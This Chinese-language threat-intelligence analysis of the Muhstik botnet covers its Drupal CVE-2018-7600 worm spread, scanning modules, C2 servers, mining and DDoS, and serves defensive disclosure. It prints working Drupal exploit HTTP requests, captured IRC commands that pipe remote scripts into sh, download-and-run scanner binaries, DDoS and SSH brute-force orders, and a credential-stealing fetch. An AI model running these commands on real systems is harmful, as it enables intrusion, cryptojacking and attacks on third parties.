僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播

2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。


从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。


我们认为 muhstik 有以下特点值得社区关注：


 * 蠕虫式传播
 * 长期存在
 * 使用的漏洞利用数目众多
 * 混合使用了多种牟利方式


攻击载荷


按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：


 * 活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58
 * 活跃时间：2018-04-16 19:38:39~至今


对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。


两组攻击载荷的详细信息如下：


POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 2048
form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv



POST
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: {target}
Content-Type: application/x-www-form-urlencoded
Content-length: 170
form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php



样本 aiox86 导致了上述攻击载荷 #2


有以下关键样本


da17dc1438bb039968a5737c6fbc88cd aiox86



我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：


 * 攻击载荷，存在于该样本中
 * 攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生


下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。




事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：


 * 扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；
 * 投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；
 * 扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；
 * 扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。


获取扫描目标IP地址：


hxxp://191.238.234.227/amazon.php     #我们尝试从这个URL上获得了50个网段，均属于Amazon所有
hxxp://191.238.234.227/dedi.php       #我们尝试从这个URL上获得了50个网段，所属公司较为分散



所投递的漏洞载荷：


ClipBucket：rss.php
DasanNetwork Solution：/cgi-bin/index.cgi
Drupal:CVE-2018-7600
WebDav
Weblogic:CVE-2017-10271
Webuzo:install.php
Wordpress:install.php



扫描目标端口与载荷的对应关系：


80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket
2004：Webuzo
7001：Weblogic
8080：Wordpress，WebDav，DasanNetwork Solution



载荷上报信息接口：


hxxp://51.254.219.134/clipbucket.php	#ClipBucket
hxxp://51.254.219.134/dasan.php	#DasanNetwork_Solution
hxxp://51.254.219.134/dav.php	#Webdav
hxxp://51.254.219.134/drupal.php	#Drupal
hxxp://51.254.219.134/oracleaudit.php?port=	#Weblogic
hxxp://51.254.219.134/tomato.php	#http401，用作探测中间状态
hxxp://51.254.219.134/webuzo.php	#Webuzo
hxxp://51.254.219.134/wp.php	#Wordpress



样本aiox86 是由 Muhstik 僵尸网络分发的


在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：





上述C2，隶属于 Muhstik 僵尸网络家族。


Muhstik 僵尸网络家族


Muhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：


 * 代表样本： c37016e34304ff4a2a0db1894cdcdb92
 * C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡
 * 通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令
 * IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel


Muhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。


Muhstik 的传播模块：


 * aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷
 * SSH扫描模块：弱口令扫描


Muhstik 的获利方式：


 * xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。
 * cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3
 * DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）


Muhstik cgminer 钱包和矿池地址：


  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  },
  {
    "url": "stratum+tcp://dash.viabtc.com:443",
    "user": "reb0rn.D3",
    "pass": "x"
  }



Muhstik C2 列表，按照其在样本中硬编码的顺序：


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  



IRC Channel，字母序：


#muhstik
#muhstik-i586
#muhstik-SSH
#muhstik-x86



我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：


#muhstik-x86  #植入xmrig64挖矿程序；
#muhstik-x86  #植入Muhstik.aioscan扫描模块
#muhstik-x86  #探测bot是否有drupal存在
#muhstik      #植入Muhstik.aioscan扫描模块
#muhstik      #发出DDoS攻击指令；
#muhstik-SSH  #cgminer 挖矿程序的配置文件；
#muhstik-SSH  #执行SSH扫描
#muhstik-SSH  #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播
#muhstik-i586 #植入 Muhstik.aioscan
#muhstik-i586 #植入xmrig32挖矿程序



#muhstik-x86 #植入xmrig64挖矿程序


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & 



#muhstik-x86 #植入Muhstik.aioscan扫描模块


:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &



#muhstik-x86 #探测bot是否有drupal存在


:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"
:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1))
:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal"



#muhstik #植入Muhstik.aioscan扫描模块


:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &



#muhstik #发出DDoS攻击指令；


:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX



#muhstik-SSH #cgminer 挖矿程序的配置文件


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &



#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播


:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &



#muhstik-SSH #执行SSH扫描


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137



#muhstik-i586 #植入 Muhstik.aioscan


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &



#muhstik-i586 #植入xmrig32挖矿程序


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &



Muhstik 可能来源已久


通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。


dasan.deutschland-zahlung.eu
134.ip-51-254-219.eu
uranus.kei.su
wireless.kei.su
www.kei.su
y.fd6fq54s6df541q23sdxfg.eu



IoC


Muhstik C2 List


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#当前未生效  
66.70.190.236:9090	AS16276 OVH SAS	#当前未生效  
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		#当前未生效  



Muhstik Malware URL


hxxp://51.254.221.129/c/cron
hxxp://51.254.221.129/c/tfti
hxxp://51.254.221.129/c/pftp
hxxp://51.254.221.129/c/ntpd
hxxp://51.254.221.129/c/sshd
hxxp://51.254.221.129/c/bash
hxxp://51.254.221.129/c/pty
hxxp://51.254.221.129/c/shy
hxxp://51.254.221.129/c/nsshtfti
hxxp://51.254.221.129/c/nsshcron
hxxp://51.254.221.129/c/nsshpftp
hxxp://51.254.221.129/c/fbsd
hxxp://191.238.234.227/x/aiox86



Muhstik Malware MD5


c37016e34304ff4a2a0db1894cdcdb92     #Muhstik样本模块
da17dc1438bb039968a5737c6fbc88cd     #Muhstik扫描模块